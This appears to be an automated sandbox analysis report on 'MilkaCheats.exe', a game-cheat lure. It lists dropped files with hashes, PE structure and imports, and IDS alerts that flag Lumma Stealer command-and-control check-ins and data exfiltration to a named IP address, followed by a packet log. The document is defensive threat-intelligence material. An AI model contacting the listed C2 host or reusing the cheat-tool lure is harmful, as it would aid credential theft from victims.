Malicious:	true
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.B.E.X.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.4.5.1.7.4.9.7.3.1.8.7.1.5.6.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.4.5.1.7.4.9.7.6.7.8.0.7.5.2.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.f.d.a.f.3.7.f.7.-.0.4.9.1.-.4.4.0.5.-.b.1.1.e.-.4.7.8.f.3.6.9.d.a.e.6.3.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.8.d.4.1.8.c.8.3.-.b.6.0.f.-.4.b.f.3.-.a.7.3.2.-.c.1.f.3.e.5.7.d.0.3.c.6.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.M.i.l.k.a.C.h.e.a.t.s...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.P.r.i.n.t...E.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.8.5.8.-.0.0.0.1.-.0.0.1.4.-.a.3.1.e.-.0.1.2.c.8.7.2.8.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.e.0.9.c.7.0.1.5.2.1.1.1.1.7.5.9.b.d.9.b.5.0.9.9.5.7.1.c.0.3.3.d.0.0.0.0.0.9.0.4.!.0.0.0.0.e.5.4.0.5.c.0.9.3.1.4.a.4.8.c.f.0.3.5.8.0.6.f.1.b.0.a.4.c.d.d.d.8.9.d.f.0.4.d.5.!.M.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERF581.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Sun Oct 27 15:44:57 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	36302
Entropy (8bit):	1.7105919693502731
Encrypted:	false
SSDEEP:	96:548gGxH6g+64rzeroMQi73J+ufXImAW/1mMuIL2WIcWIxEIGdWWdA2Em:lzIr8QOVl/1mMRKdWWdd
MD5:	16BF2425BC6BD476C1E650228AE6510F
SHA1:	6F5C8E150A053CF5461EBB266AFE4219ECA4B085
SHA-256:	F4B494DBB483989122F909D63D31681D47A6D1CC58317FCEE77992EE48CEFB13
SHA-512:	FF39E0AA6C94749520AF1EBCD1753DEE64DFE11192DAAD7066B8EEF90A357F0BE61A6E95987DEBDC0BB94384C4B75762A08B1D9C205962C7135B202A1ED06C40
Malicious:	false
Reputation:	low
Preview:	MDMP..a..... ........_.g........................X...............\...........T.......8...........T......................................................................................................................eJ......x.......GenuineIntel............T.......X...._.g.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERF5FF.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8420
Entropy (8bit):	3.6995458718009133
Encrypted:	false
SSDEEP:	192:R6l7wVeJeg626Y9sSU9D4gmfuxNprQ89bUnsfcQ8m:R6lXJp626YmSU9D4gmfuxdUsf/
MD5:	D4E4FA8BF1A60116F3B550DB4BCFBBAB
SHA1:	238F2FDF0582D43B73C6849335C274653FB9557D
SHA-256:	654A40021AB04E5406DC97590138ADDE9F3BC8982677A47B646D437703CE1273
SHA-512:	A90DC4B959D1F2E7D6B79348A55DA97EA84633EC805373579A062818251B7885121FE4D1503537C59DF137937AA45B1C6AD8A148AA56D3B1C79E8C5DBBAD9CF3
Malicious:	false
Reputation:	low
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.6.2.3.2.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERF62F.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4805
Entropy (8bit):	4.48949414494656
Encrypted:	false
SSDEEP:	48:cvIwWl8zsCJg77aI9LwWpW8VYvYm8M4Jq6o6aHFZS+q8vt6a02aQQMZUZ4d:uIjfQI7xJ7VfJq6o6dKt6HxQQMZUZ4d
MD5:	C63B857ABA8C65E9D16970D0C9A965B5
SHA1:	88AB2A4A1C167502A72ACC5EFAC7E20F125F9AC4
SHA-256:	F4A38B4A5315CB49DF713ADBA3A63695F5C8B84B6F2F70CEC9E968C40CED91A7
SHA-512:	81A7FFCC1F546690A8F74187FBC8AD3137E17A6434F9FFBD25F2315F5756EC59EFC649F74FC774152ABA9FB2C57CB8D9B2204115ACFD5EC5AF816912B4D40F73
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="562007" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\Users\user\Desktop\static.lib

Download File

Process:	C:\Users\user\Desktop\MilkaCheats.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	400
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:rj:X
MD5:	8BD30F5E64692F2971D94D201A7BDDBC
SHA1:	1445B76763A443E3660BF686365374B5AA0407EA
SHA-256:	EF938B9C248649B6EB4C1532F87EF94A8179E15D56EB8BA68EF92BCE2E68B7C1
SHA-512:	37B0A14A1A21FD74BAD140477BE394816CD11D6778DE1007963B1EB9B81C0E246E1D779B40D3D863A6CB150AA4D5904D7492F607A8BE054B2D0281A78319CE56
Malicious:	false
Reputation:	low
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.465975195498067
Encrypted:	false
SSDEEP:	6144:8IXfpi67eLPU9skLmb0b4+WSPKaJG8nAgejZMMhA2gX4WABl0uNydwBCswSbI:BXD94+WlLZMM6YFHk+I
MD5:	961607C118A55B61C64E8BE906AAED59
SHA1:	692808C67B54330080B6B4598CB5D15F068057DA
SHA-256:	DECA3B8F2E2CFD10B5244534C1963EB49EBDF0687E4CF2E60FC11F5EADA5A387
SHA-512:	BD91F77C1730C5F36A1704FF9F6CAB29C5FF5BAA2C8AA1C524CCE7DBD97B7F47D3220874DF92EA938C704BFF61AC91BCCD96C2CD48DE87BF2AFC081111A9B57F
Malicious:	false
Reputation:	low
Preview:	regf6...6....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm...,.(........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.688738402361233
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	MilkaCheats.exe
File size:	536'576 bytes
MD5:	906c60b268404ecda308e2692a3aaaf8
SHA1:	e5405c09314a48cf035806f1b0a4cddd89df04d5
SHA256:	91a240e27b2849592fea2a6f326afedfc77c60d480126f5f9c57653a889b3dcf
SHA512:	2809902c60adba46bf7c0401ddb932fa6a8a1b99960a891a4dba4211f8258d2d793d867855198373ad1341a5c41eb7da8805403ea35992431a313f6fa0fe2be2
SSDEEP:	12288:a1dxO9DRdaPHN+q7wJu//lrZBJQ2sNiylqzSer5:a89SDj5JQ2+7mr5
TLSH:	9BB4F11175C08033D9B3293206F0E6715B3EB9714AA65EDF67C55FBE0F302D1EA21A6A
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......O.ni...:...:...:...;...:...;...:...;...:...;...:...;...:...;...:...:u..:...;^..:C..;...:C..:...:C..;...:Rich...:........PE..L..

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x406e80
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x671BDFAB [Fri Oct 25 18:12:59 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	15c1a3252578de27fcd7c556fbfdb6ef

Entrypoint Preview

Instruction
call 00007F890CFB4FF6h
jmp 00007F890CFB462Fh
push ebp
mov ebp, esp
mov eax, dword ptr [ebp+08h]
push esi
mov ecx, dword ptr [eax+3Ch]
add ecx, eax
movzx eax, word ptr [ecx+14h]
lea edx, dword ptr [ecx+18h]
add edx, eax
movzx eax, word ptr [ecx+06h]
imul esi, eax, 28h
add esi, edx
cmp edx, esi
je 00007F890CFB47CBh
mov ecx, dword ptr [ebp+0Ch]
cmp ecx, dword ptr [edx+0Ch]
jc 00007F890CFB47BCh
mov eax, dword ptr [edx+08h]
add eax, dword ptr [edx+0Ch]
cmp ecx, eax
jc 00007F890CFB47BEh
add edx, 28h
cmp edx, esi
jne 00007F890CFB479Ch
xor eax, eax
pop esi
pop ebp
ret
mov eax, edx
jmp 00007F890CFB47ABh
push esi
call 00007F890CFB52F6h
test eax, eax
je 00007F890CFB47D2h
mov eax, dword ptr fs:[00000018h]
mov esi, 00482A68h
mov edx, dword ptr [eax+04h]
jmp 00007F890CFB47B6h
cmp edx, eax
je 00007F890CFB47C2h
xor eax, eax
mov ecx, edx
lock cmpxchg dword ptr [esi], ecx
test eax, eax
jne 00007F890CFB47A2h
xor al, al
pop esi
ret
mov al, 01h
pop esi
ret
push ebp
mov ebp, esp
cmp dword ptr [ebp+08h], 00000000h
jne 00007F890CFB47B9h
mov byte ptr [00482A6Ch], 00000001h
call 00007F890CFB49ACh
call 00007F890CFB7899h
test al, al
jne 00007F890CFB47B6h
xor al, al
pop ebp
ret
call 00007F890CFC0F58h
test al, al
jne 00007F890CFB47BCh
push 00000000h
call 00007F890CFB78A0h
pop ecx
jmp 00007F890CFB479Bh
mov al, 01h
pop ebp
ret
push ebp
mov ebp, esp
cmp byte ptr [00482A6Dh], 00000000h
je 00007F890CFB47B6h
mov al, 01h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2dbcc	0x3c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x84000	0x595	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x85000	0x1bdc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x2beb8	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x2bdf8	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x24000	0x148	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x22f2e	0x23000	4da3a75dbd74dc877bf127c55bdda469	False	0.5811732700892858	data	6.646705992844183	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x24000	0xa328	0xa400	8936a0b6950510a54f01ca3041031b55	False	0.4328791920731707	OpenPGP Public Key	4.945790274654163	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x2f000	0x54578	0x53600	fa6c5f641266ff2bb8199c02b0ca89fa	False	0.9909225074962519	OpenPGP Public Key	7.992273569021661	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x84000	0x595	0x600	4d5387608e55814216b03d2ac9e670b3	False	0.4420572916666667	data	3.9845156370208854	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x85000	0x1bdc	0x1c00	5d2927ae47e9e21cdc2a94ae35d94f02	False	0.7544642857142857	data	6.513957656076399	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x840a0	0x378	data	English	United States	0.46283783783783783
RT_MANIFEST	0x84418	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL

Import

USER32.dll

wsprintfA

KERNEL32.dll

TerminateProcess, WriteConsoleW, GetStdHandle, DeleteFileA, HeapAlloc, HeapFree, GetProcessHeap, GlobalFindAtomW, WriteConsoleA, CloseHandle, WaitForSingleObjectEx, GetCurrentThreadId, GetExitCodeThread, WideCharToMultiByte, EnterCriticalSection, LeaveCriticalSection, InitializeCriticalSectionEx, DeleteCriticalSection, QueryPerformanceCounter, EncodePointer, DecodePointer, MultiByteToWideChar, LCMapStringEx, GetSystemTimeAsFileTime, GetModuleHandleW, GetProcAddress, GetStringTypeW, GetCPInfo, IsProcessorFeaturePresent, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetCurrentProcess, SetEndOfFile, GetCurrentProcessId, InitializeSListHead, IsDebuggerPresent, GetStartupInfoW, HeapSize, RaiseException, RtlUnwind, GetLastError, SetLastError, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, FreeLibrary, LoadLibraryExW, GetModuleHandleExW, WriteFile, GetModuleFileNameW, ExitProcess, LCMapStringW, GetLocaleInfoW, IsValidLocale, GetUserDefaultLCID, EnumSystemLocalesW, GetFileType, FlushFileBuffers, GetConsoleOutputCP, GetConsoleMode, ReadFile, GetFileSizeEx, SetFilePointerEx, ReadConsoleW, HeapReAlloc, FindClose, FindFirstFileExW, FindNextFileW, IsValidCodePage, GetACP, GetOEMCP, GetCommandLineA, GetCommandLineW, GetEnvironmentStringsW, FreeEnvironmentStringsW, SetStdHandle, CreateFileW

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-27T16:44:59.376608+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49730	172.67.170.64	443	TCP
2024-10-27T16:44:59.376608+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49730	172.67.170.64	443	TCP
2024-10-27T16:45:01.669879+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49732	172.67.170.64	443	TCP
2024-10-27T16:45:01.669879+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49732	172.67.170.64	443	TCP
2024-10-27T16:45:09.623341+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	49741	172.67.170.64	443	TCP
2024-10-27T16:45:10.787252+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.4	49743	172.67.170.64	443	TCP
2024-10-27T16:45:15.310166+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49748	172.67.170.64	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 27, 2024 16:44:57.998008966 CET	49730	443	192.168.2.4	172.67.170.64
Oct 27, 2024 16:44:57.998044014 CET	443	49730	172.67.170.64	192.168.2.4
Oct 27, 2024 16:44:57.998126984 CET	49730	443	192.168.2.4	172.67.170.64
Oct 27, 2024 16:44:58.001054049 CET	49730	443	192.168.2.4	172.67.170.64
Oct 27, 2024 16:44:58.001066923 CET	443	49730	172.67.170.64	192.168.2.4
Oct 27, 2024 16:44:58.623502016 CET	443	49730	172.67.170.64	192.168.2.4
Oct 27, 2024 16:44:58.623727083 CET	49730	443	192.168.2.4	172.67.170.64
Oct 27, 2024 16:44:58.628151894 CET	49730	443	192.168.2.4	172.67.170.64
Oct 27, 2024 16:44:58.628159046 CET	443	49730	172.67.170.64	192.168.2.4
Oct 27, 2024 16:44:58.628560066 CET	443	49730	172.67.170.64	192.168.2.4
Oct 27, 2024 16:44:58.685583115 CET	49730	443	192.168.2.4	172.67.170.64
Oct 27, 2024 16:44:58.881093979 CET	49730	443	192.168.2.4	172.67.170.64
Oct 27, 2024 16:44:58.881129026 CET	49730	443	192.168.2.4	172.67.170.64
Oct 27, 2024 16:44:58.881475925 CET	443	49730	172.67.170.64	192.168.2.4
Oct 27, 2024 16:44:59.376694918 CET	443	49730	172.67.170.64	192.168.2.4
Oct 27, 2024 16:44:59.376974106 CET	443	49730	172.67.170.64	192.168.2.4
Oct 27, 2024 16:44:59.377034903 CET	49730	443	192.168.2.4	172.67.170.64
Oct 27, 2024 16:44:59.397310019 CET	49730	443	192.168.2.4	172.67.170.64
Oct 27, 2024 16:44:59.397320032 CET	443	49730	172.67.170.64	192.168.2.4
Oct 27, 2024 16:44:59.755223989 CET	49732	443	192.168.2.4	172.67.170.64
Oct 27, 2024 16:44:59.755342007 CET	443	49732	172.67.170.64	192.168.2.4
Oct 27, 2024 16:44:59.755420923 CET	49732	443	192.168.2.4	172.67.170.64
Oct 27, 2024 16:44:59.755745888 CET	49732	443	192.168.2.4	172.67.170.64
Oct 27, 2024 16:44:59.755781889 CET	443	49732	172.67.170.64	192.168.2.4
Oct 27, 2024 16:45:00.384258986 CET	443	49732	172.67.170.64	192.168.2.4
Oct 27, 2024 16:45:00.384354115 CET	49732	443	192.168.2.4	172.67.170.64
Oct 27, 2024 16:45:00.385989904 CET	49732	443	192.168.2.4	172.67.170.64
Oct 27, 2024 16:45:00.386018991 CET	443	49732	172.67.170.64	192.168.2.4
Oct 27, 2024 16:45:00.386359930 CET	443	49732	172.67.170.64	192.168.2.4
Oct 27, 2024 16:45:00.387784958 CET	49732	443	192.168.2.4	172.67.170.64
Oct 27, 2024 16:45:00.387824059 CET	49732	443	192.168.2.4	172.67.170.64
Oct 27, 2024 16:45:00.387883902 CET	443	49732	172.67.170.64	192.168.2.4
Oct 27, 2024 16:45:01.669938087 CET	443	49732	172.67.170.64	192.168.2.4
Oct 27, 2024 16:45:01.670062065 CET	443	49732	172.67.170.64	192.168.2.4
Oct 27, 2024 16:45:01.670146942 CET	443	49732	172.67.170.64	192.168.2.4
Oct 27, 2024 16:45:01.670244932 CET	49732	443	192.168.2.4	172.67.170.64
Oct 27, 2024 16:45:01.670274019 CET	443	49732	172.67.170.64	192.168.2.4
Oct 27, 2024 16:45:01.670301914 CET	443	49732	172.67.170.64	192.168.2.4
Oct 27, 2024 16:45:01.670325041 CET	49732	443	192.168.2.4	172.67.170.64
Oct 27, 2024 16:45:01.670479059 CET	443	49732	172.67.170.64	192.168.2.4
Oct 27, 2024 16:45:01.670533895 CET	49732	443	192.168.2.4	172.67.170.64
Oct 27, 2024 16:45:01.670572042 CET	443	49732	172.67.170.64	192.168.2.4
Oct 27, 2024 16:45:01.670680046 CET	443	49732	172.67.170.64	192.168.2.4
Oct 27, 2024 16:45:01.670730114 CET	49732	443	192.168.2.4	172.67.170.64
Oct 27, 2024 16:45:01.670747042 CET	443	49732	172.67.170.64	192.168.2.4
Oct 27, 2024 16:45:01.716861963 CET	49732	443	192.168.2.4	172.67.170.64
Oct 27, 2024 16:45:01.716928959 CET	443	49732	172.67.170.64	192.168.2.4
Oct 27, 2024 16:45:01.763840914 CET	49732	443	192.168.2.4	172.67.170.64
Oct 27, 2024 16:45:01.789515018 CET	443	49732	172.67.170.64	192.168.2.4
Oct 27, 2024 16:45:01.789702892 CET	443	49732	172.67.170.64	192.168.2.4
Oct 27, 2024 16:45:01.789757013 CET	49732	443	192.168.2.4	172.67.170.64
Oct 27, 2024 16:45:01.789819002 CET	443	49732	172.67.170.64	192.168.2.4
Oct 27, 2024 16:45:01.789926052 CET	443	49732	172.67.170.64	192.168.2.4
Oct 27, 2024 16:45:01.789983988 CET	49732	443	192.168.2.4	172.67.170.64
Oct 27, 2024 16:45:01.789999962 CET	443	49732	172.67.170.64	192.168.2.4
Oct 27, 2024 16:45:01.790209055 CET	443	49732	172.67.170.64	192.168.2.4
Oct 27, 2024 16:45:01.790270090 CET	49732	443	192.168.2.4	172.67.170.64
Oct 27, 2024 16:45:01.790400982 CET	49732	443	192.168.2.4	172.67.170.64
Oct 27, 2024 16:45:01.790438890 CET	443	49732	172.67.170.64	192.168.2.4
Oct 27, 2024 16:45:01.790462971 CET	49732	443	192.168.2.4	172.67.170.64
Oct 27, 2024 16:45:01.790477037 CET	443	49732	172.67.170.64	192.168.2.4
Oct 27, 2024 16:45:01.891400099 CET	49736	443	192.168.2.4	172.67.170.64
Oct 27, 2024 16:45:01.891438961 CET	443	49736	172.67.170.64	192.168.2.4
Oct 27, 2024 16:45:01.891518116 CET	49736	443	192.168.2.4	172.67.170.64
Oct 27, 2024 16:45:01.891820908 CET	49736	443	192.168.2.4	172.67.170.64
Oct 27, 2024 16:45:01.891839027 CET	443	49736	172.67.170.64	192.168.2.4
Oct 27, 2024 16:45:02.509381056 CET	443	49736	172.67.170.64	192.168.2.4
Oct 27, 2024 16:45:02.509624958 CET	49736	443	192.168.2.4	172.67.170.64
Oct 27, 2024 16:45:02.514960051 CET	49736	443	192.168.2.4	172.67.170.64
Oct 27, 2024 16:45:02.514981031 CET	443	49736	172.67.170.64	192.168.2.4
Oct 27, 2024 16:45:02.515422106 CET	443	49736	172.67.170.64	192.168.2.4
Oct 27, 2024 16:45:02.523485899 CET	49736	443	192.168.2.4	172.67.170.64
Oct 27, 2024 16:45:02.523686886 CET	49736	443	192.168.2.4	172.67.170.64
Oct 27, 2024 16:45:02.523757935 CET	443	49736	172.67.170.64	192.168.2.4
Oct 27, 2024 16:45:02.523847103 CET	49736	443	192.168.2.4	172.67.170.64
Oct 27, 2024 16:45:02.523863077 CET	443	49736	172.67.170.64	192.168.2.4
Oct 27, 2024 16:45:03.194401979 CET	443	49736	172.67.170.64	192.168.2.4
Oct 27, 2024 16:45:03.194639921 CET	443	49736	172.67.170.64	192.168.2.4
Oct 27, 2024 16:45:03.194662094 CET	49736	443	192.168.2.4	172.67.170.64
Oct 27, 2024 16:45:03.194684982 CET	49736	443	192.168.2.4	172.67.170.64
Oct 27, 2024 16:45:03.287296057 CET	49738	443	192.168.2.4	172.67.170.64
Oct 27, 2024 16:45:03.287341118 CET	443	49738	172.67.170.64	192.168.2.4
Oct 27, 2024 16:45:03.287431955 CET	49738	443	192.168.2.4	172.67.170.64
Oct 27, 2024 16:45:03.287745953 CET	49738	443	192.168.2.4	172.67.170.64
Oct 27, 2024 16:45:03.287764072 CET	443	49738	172.67.170.64	192.168.2.4
Oct 27, 2024 16:45:03.902970076 CET	443	49738	172.67.170.64	192.168.2.4
Oct 27, 2024 16:45:03.903076887 CET	49738	443	192.168.2.4	172.67.170.64
Oct 27, 2024 16:45:03.904433966 CET	49738	443	192.168.2.4	172.67.170.64
Oct 27, 2024 16:45:03.904442072 CET	443	49738	172.67.170.64	192.168.2.4
Oct 27, 2024 16:45:03.904854059 CET	443	49738	172.67.170.64	192.168.2.4
Oct 27, 2024 16:45:03.912552118 CET	49738	443	192.168.2.4	172.67.170.64
Oct 27, 2024 16:45:03.912672043 CET	49738	443	192.168.2.4	172.67.170.64
Oct 27, 2024 16:45:03.912708044 CET	443	49738	172.67.170.64	192.168.2.4
Oct 27, 2024 16:45:05.526256084 CET	443	49738	172.67.170.64	192.168.2.4
Oct 27, 2024 16:45:05.526508093 CET	443	49738	172.67.170.64	192.168.2.4
Oct 27, 2024 16:45:05.526530027 CET	49738	443	192.168.2.4	172.67.170.64
Oct 27, 2024 16:45:05.526576996 CET	49738	443	192.168.2.4	172.67.170.64
Oct 27, 2024 16:45:05.708048105 CET	49740	443	192.168.2.4	172.67.170.64
Oct 27, 2024 16:45:05.708091021 CET	443	49740	172.67.170.64	192.168.2.4
Oct 27, 2024 16:45:05.708195925 CET	49740	443	192.168.2.4	172.67.170.64
Oct 27, 2024 16:45:05.708578110 CET	49740	443	192.168.2.4	172.67.170.64
Oct 27, 2024 16:45:05.708596945 CET	443	49740	172.67.170.64	192.168.2.4
Oct 27, 2024 16:45:06.427710056 CET	443	49740	172.67.170.64	192.168.2.4
Oct 27, 2024 16:45:06.427803040 CET	49740	443	192.168.2.4	172.67.170.64
Oct 27, 2024 16:45:06.429538012 CET	49740	443	192.168.2.4	172.67.170.64
Oct 27, 2024 16:45:06.429552078 CET	443	49740	172.67.170.64	192.168.2.4
Oct 27, 2024 16:45:06.430481911 CET	443	49740	172.67.170.64	192.168.2.4
Oct 27, 2024 16:45:06.440917015 CET	49740	443	192.168.2.4	172.67.170.64
Oct 27, 2024 16:45:06.441025972 CET	49740	443	192.168.2.4	172.67.170.64
Oct 27, 2024 16:45:06.441078901 CET	443	49740	172.67.170.64	192.168.2.4
Oct 27, 2024 16:45:06.441155910 CET	49740	443	192.168.2.4	172.67.170.64
Oct 27, 2024 16:45:06.441168070 CET	443	49740	172.67.170.64	192.168.2.4
Oct 27, 2024 16:45:07.350929022 CET	443	49740	172.67.170.64	192.168.2.4
Oct 27, 2024 16:45:07.351172924 CET	443	49740	172.67.170.64	192.168.2.4
Oct 27, 2024 16:45:07.351320028 CET	49740	443	192.168.2.4	172.67.170.64
Oct 27, 2024 16:45:07.351320028 CET	49740	443	192.168.2.4	172.67.170.64
Oct 27, 2024 16:45:08.456089020 CET	49741	443	192.168.2.4	172.67.170.64
Oct 27, 2024 16:45:08.456171036 CET	443	49741	172.67.170.64	192.168.2.4
Oct 27, 2024 16:45:08.456249952 CET	49741	443	192.168.2.4	172.67.170.64
